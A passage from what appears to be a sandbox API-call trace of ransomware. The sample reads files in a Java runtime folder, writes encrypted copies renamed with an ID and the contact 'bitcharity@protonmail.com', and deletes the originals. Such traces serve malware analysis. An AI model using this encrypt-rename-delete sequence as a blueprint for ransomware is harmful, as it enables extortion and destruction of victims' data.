Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0298.303] lstrlenW (lpString=".1cd") returned 4 [0298.303] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0298.303] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0298.303] lstrlenW (lpString=".jpg") returned 4 [0298.303] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0298.303] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0298.303] lstrlenW (lpString="instrument.dll") returned 14 [0298.303] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0298.304] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x30bff14 | out: lpFileSize=0x30bff14*=123456) returned 1 [0298.304] CloseHandle (hObject=0x10b4) returned 1 [0298.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll")) returned 0x20 [0298.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.304] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0298.304] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.304] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.304] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0298.305] GetLastError () returned 0x0 [0298.305] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x1e240, lpOverlapped=0x0) returned 1 [0298.461] WriteFile (in: hFile=0x1084, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0x1e250, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0x1e250, lpOverlapped=0x0) returned 1 [0298.463] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x0, lpOverlapped=0x0) returned 1 [0298.463] WriteFile (in: hFile=0x1084, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0xf0, lpOverlapped=0x0) returned 1 [0298.463] SetEndOfFile (hFile=0x1084) returned 1 [0298.463] CloseHandle (hObject=0x1084) returned 1 [0298.463] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.463] SetEndOfFile (hFile=0x10b4) returned 1 [0298.465] CloseHandle (hObject=0x10b4) returned 1 [0298.465] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0298.465] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll")) returned 1 [0298.465] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0298.465] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0298.465] lstrlenW (lpString=".doc") returned 4 [0298.465] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0298.465] lstrlenW (lpString=".docx") returned 5 [0298.465] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0298.465] lstrlenW (lpString=".pdf") returned 4 [0298.465] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0298.465] lstrlenW (lpString=".xls") returned 4 [0298.465] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0298.465] lstrlenW (lpString=".xlsx") returned 5 [0298.465] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0298.465] lstrlenW (lpString=".ppt") returned 4 [0298.465] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0298.465] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0298.465] lstrlenW (lpString=".zip") returned 4 [0298.465] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0298.465] lstrlenW (lpString=".rar") returned 4 [0298.466] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0298.466] lstrlenW (lpString=".bz2") returned 4 [0298.466] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0298.466] lstrlenW (lpString=".7z") returned 3 [0298.466] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0298.466] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0298.466] lstrlenW (lpString=".dbf") returned 4 [0298.466] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0298.466] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0298.466] lstrlenW (lpString=".1cd") returned 4 [0298.466] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0298.466] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0298.466] lstrlenW (lpString=".jpg") returned 4 [0298.466] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0298.466] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0298.466] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0298.466] lstrlenW (lpString=".doc") returned 4 [0298.466] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0298.466] lstrlenW (lpString=".docx") returned 5 [0298.466] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0298.466] lstrlenW (lpString=".pdf") returned 4 [0298.466] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0298.466] lstrlenW (lpString=".xls") returned 4 [0298.466] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0298.466] lstrlenW (lpString=".xlsx") returned 5 [0298.466] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0298.466] lstrlenW (lpString=".ppt") returned 4 [0298.466] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0298.467] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0298.467] lstrlenW (lpString=".zip") returned 4 [0298.467] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0298.467] lstrlenW (lpString=".rar") returned 4 [0298.467] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0298.467] lstrlenW (lpString=".bz2") returned 4 [0298.467] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0298.467] lstrlenW (lpString=".7z") returned 3 [0298.467] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0298.467] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0298.467] lstrlenW (lpString=".dbf") returned 4 [0298.467] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0298.467] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0298.467] lstrlenW (lpString=".1cd") returned 4 [0298.467] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0298.467] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0298.467] lstrlenW (lpString=".jpg") returned 4 [0298.467] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0298.467] lstrcmpiW (lpString1=".exe", lpString2=".com") returned 1 [0298.467] lstrlenW (lpString="java-rmi.exe") returned 12 [0298.467] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0298.468] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x30bff14 | out: lpFileSize=0x30bff14*=15936) returned 1 [0298.468] CloseHandle (hObject=0x10b4) returned 1 [0298.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe")) returned 0x20 [0298.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.468] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0298.468] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.468] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.468] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0298.469] GetLastError () returned 0x0 [0298.469] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x3e40, lpOverlapped=0x0) returned 1 [0298.573] WriteFile (in: hFile=0x1084, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0x3e50, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0x3e50, lpOverlapped=0x0) returned 1 [0298.574] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x0, lpOverlapped=0x0) returned 1 [0298.574] WriteFile (in: hFile=0x1084, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0xec, lpOverlapped=0x0) returned 1 [0298.574] SetEndOfFile (hFile=0x1084) returned 1 [0298.777] CloseHandle (hObject=0x1084) returned 1 [0298.777] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.777] SetEndOfFile (hFile=0x10b4) returned 1 [0298.778] CloseHandle (hObject=0x10b4) returned 1 [0298.778] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0298.778] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe")) returned 1 [0298.778] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0298.779] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0298.779] lstrlenW (lpString=".doc") returned 4 [0298.779] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0298.779] lstrlenW (lpString=".docx") returned 5 [0298.779] lstrcmpiW (lpString1=".docx", lpString2="i.exe") returned -1 [0298.779] lstrlenW (lpString=".pdf") returned 4 [0298.779] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0298.779] lstrlenW (lpString=".xls") returned 4 [0298.779] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0298.779] lstrlenW (lpString=".xlsx") returned 5 [0298.779] lstrcmpiW (lpString1=".xlsx", lpString2="i.exe") returned -1 [0298.779] lstrlenW (lpString=".ppt") returned 4 [0298.779] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0298.779] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0298.779] lstrlenW (lpString=".zip") returned 4 [0298.779] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0298.779] lstrlenW (lpString=".rar") returned 4 [0298.779] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0298.779] lstrlenW (lpString=".bz2") returned 4 [0298.779] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0298.779] lstrlenW (lpString=".7z") returned 3 [0298.779] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0298.779] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0298.779] lstrlenW (lpString=".dbf") returned 4 [0298.779] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0298.779] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0298.779] lstrlenW (lpString=".1cd") returned 4 [0298.779] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0298.779] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0298.779] lstrlenW (lpString=".jpg") returned 4 [0298.779] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0298.779] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0298.779] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0298.779] lstrlenW (lpString=".doc") returned 4 [0298.779] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0298.779] lstrlenW (lpString=".docx") returned 5 [0298.779] lstrcmpiW (lpString1=".docx", lpString2="i.exe") returned -1 [0298.780] lstrlenW (lpString=".pdf") returned 4 [0298.780] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0298.780] lstrlenW (lpString=".xls") returned 4 [0298.780] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0298.780] lstrlenW (lpString=".xlsx") returned 5 [0298.780] lstrcmpiW (lpString1=".xlsx", lpString2="i.exe") returned -1 [0298.780] lstrlenW (lpString=".ppt") returned 4 [0298.780] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0298.780] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0298.780] lstrlenW (lpString=".zip") returned 4 [0298.780] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0298.780] lstrlenW (lpString=".rar") returned 4 [0298.780] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0298.780] lstrlenW (lpString=".bz2") returned 4 [0298.780] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0298.780] lstrlenW (lpString=".7z") returned 3 [0298.780] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0298.780] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0298.780] lstrlenW (lpString=".dbf") returned 4 [0298.780] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0298.780] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0298.780] lstrlenW (lpString=".1cd") returned 4 [0298.780] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0298.780] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0298.780] lstrlenW (lpString=".jpg") returned 4 [0298.780] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0298.780] lstrcmpiW (lpString1=".cpl", lpString2=".com") returned 1 [0298.780] lstrlenW (lpString="javacpl.cpl") returned 11 [0298.780] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0298.781] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x30bff14 | out: lpFileSize=0x30bff14*=187392) returned 1 [0298.781] CloseHandle (hObject=0x10b4) returned 1 [0298.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl")) returned 0x20 [0298.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.781] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0298.781] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.781] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.781] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0298.814] GetLastError () returned 0x0 [0298.814] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x2dc00, lpOverlapped=0x0) returned 1 [0298.896] WriteFile (in: hFile=0x1084, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0x2dc10, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0x2dc10, lpOverlapped=0x0) returned 1 [0298.899] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x0, lpOverlapped=0x0) returned 1 [0298.899] WriteFile (in: hFile=0x1084, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0xea, lpOverlapped=0x0) returned 1 [0298.900] SetEndOfFile (hFile=0x1084) returned 1 [0298.900] CloseHandle (hObject=0x1084) returned 1 [0298.900] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.900] SetEndOfFile (hFile=0x10b4) returned 1 [0298.902] CloseHandle (hObject=0x10b4) returned 1 [0298.902] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0298.902] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl")) returned 1 [0298.903] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0298.903] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0298.903] lstrlenW (lpString=".doc") returned 4 [0298.903] lstrcmpiW (lpString1=".doc", lpString2=".cpl") returned 1 [0298.903] lstrlenW (lpString=".docx") returned 5 [0298.903] lstrcmpiW (lpString1=".docx", lpString2="l.cpl") returned -1 [0298.903] lstrlenW (lpString=".pdf") returned 4 [0298.903] lstrcmpiW (lpString1=".pdf", lpString2=".cpl") returned 1 [0298.903] lstrlenW (lpString=".xls") returned 4 [0298.903] lstrcmpiW (lpString1=".xls", lpString2=".cpl") returned 1 [0298.903] lstrlenW (lpString=".xlsx") returned 5 [0298.903] lstrcmpiW (lpString1=".xlsx", lpString2="l.cpl") returned -1 [0298.903] lstrlenW (lpString=".ppt") returned 4 [0298.903] lstrcmpiW (lpString1=".ppt", lpString2=".cpl") returned 1 [0298.903] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0298.903] lstrlenW (lpString=".zip") returned 4 [0298.903] lstrcmpiW (lpString1=".zip", lpString2=".cpl") returned 1 [0298.903] lstrlenW (lpString=".rar") returned 4 [0298.903] lstrcmpiW (lpString1=".rar", lpString2=".cpl") returned 1 [0298.903] lstrlenW (lpString=".bz2") returned 4 [0298.903] lstrcmpiW (lpString1=".bz2", lpString2=".cpl") returned -1 [0298.903] lstrlenW (lpString=".7z") returned 3 [0298.903] lstrcmpiW (lpString1=".7z", lpString2="cpl") returned -1 [0298.903] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0298.903] lstrlenW (lpString=".dbf") returned 4 [0298.903] lstrcmpiW (lpString1=".dbf", lpString2=".cpl") returned 1 [0298.903] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0298.903] lstrlenW (lpString=".1cd") returned 4 [0298.903] lstrcmpiW (lpString1=".1cd", lpString2=".cpl") returned -1 [0298.904] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0298.904] lstrlenW (lpString=".jpg") returned 4 [0298.904] lstrcmpiW (lpString1=".jpg", lpString2=".cpl") returned 1 [0298.904] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0298.904] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0298.904] lstrlenW (lpString=".doc") returned 4 [0298.904] lstrcmpiW (lpString1=".doc", lpString2=".cpl") returned 1 [0298.904] lstrlenW (lpString=".docx") returned 5 [0298.904] lstrcmpiW (lpString1=".docx", lpString2="l.cpl") returned -1 [0298.904] lstrlenW (lpString=".pdf") returned 4 [0298.904] lstrcmpiW (lpString1=".pdf", lpString2=".cpl") returned 1 [0298.904] lstrlenW (lpString=".xls") returned 4 [0298.904] lstrcmpiW (lpString1=".xls", lpString2=".cpl") returned 1 [0298.904] lstrlenW (lpString=".xlsx") returned 5 [0298.904] lstrcmpiW (lpString1=".xlsx", lpString2="l.cpl") returned -1 [0298.904] lstrlenW (lpString=".ppt") returned 4 [0298.904] lstrcmpiW (lpString1=".ppt", lpString2=".cpl") returned 1 [0298.904] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0298.904] lstrlenW (lpString=".zip") returned 4 [0298.904] lstrcmpiW (lpString1=".zip", lpString2=".cpl") returned 1 [0298.904] lstrlenW (lpString=".rar") returned 4 [0298.904] lstrcmpiW (lpString1=".rar", lpString2=".cpl") returned 1 [0298.904] lstrlenW (lpString=".bz2") returned 4 [0298.904] lstrcmpiW (lpString1=".bz2", lpString2=".cpl") returned -1 [0298.904] lstrlenW (lpString=".7z") returned 3 [0298.904] lstrcmpiW (lpString1=".7z", lpString2="cpl") returned -1 [0298.904] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0298.904] lstrlenW (lpString=".dbf") returned 4 [0298.904] lstrcmpiW (lpString1=".dbf", lpString2=".cpl") returned 1 [0298.904] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0298.904] lstrlenW (lpString=".1cd") returned 4 [0298.905] lstrcmpiW (lpString1=".1cd", lpString2=".cpl") returned -1 [0298.905] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0298.905] lstrlenW (lpString=".jpg") returned 4 [0298.905] lstrcmpiW (lpString1=".jpg", lpString2=".cpl") returned 1 [0298.905] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0298.905] lstrlenW (lpString="javafx_font.dll") returned 15 [0298.905] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0298.905] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x30bff14 | out: lpFileSize=0x30bff14*=69184) returned 1 [0298.905] CloseHandle (hObject=0x10b4) returned 1 [0298.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll")) returned 0x20 [0298.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.905] CreateFileW 